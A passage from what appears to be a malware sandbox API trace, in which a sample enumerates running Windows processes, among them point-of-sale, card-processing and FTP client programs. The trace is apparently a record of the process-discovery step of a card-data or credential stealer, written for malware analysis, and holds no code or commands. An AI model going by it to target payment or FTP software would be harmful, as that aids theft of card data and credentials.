szExeFile="yahoomessenger.exe")) returned 1 [0281.407] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0281.409] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0281.411] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0281.414] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0281.417] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0281.419] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0281.421] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0281.423] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0281.426] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0281.428] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0281.431] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0281.433] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0281.435] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0281.437] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0281.440] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0281.443] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0281.447] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0281.450] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.452] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0281.455] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.457] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0281.460] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0281.464] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.467] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0281.469] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0281.472] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0281.474] CloseHandle (hObject=0x1594) returned 1 [0281.474] Sleep (dwMilliseconds=0x64) [0281.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0281.635] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.640] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.645] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.647] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.649] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.651] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.653] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.692] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.695] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.697] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.699] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.700] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.703] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.705] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.707] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.709] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.711] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.713] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.715] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.718] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.719] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.721] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.723] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.725] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.727] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.729] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0281.730] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.733] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.735] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.737] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.739] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.742] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.744] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0281.746] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.748] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.750] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0281.752] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0281.753] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0281.755] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0281.757] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0281.759] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0281.761] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0281.763] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0281.765] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0281.767] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0281.768] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0281.770] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0281.772] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0281.774] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0281.776] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0281.778] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0281.781] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0281.783] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0281.786] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0281.788] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0281.791] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0281.793] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, 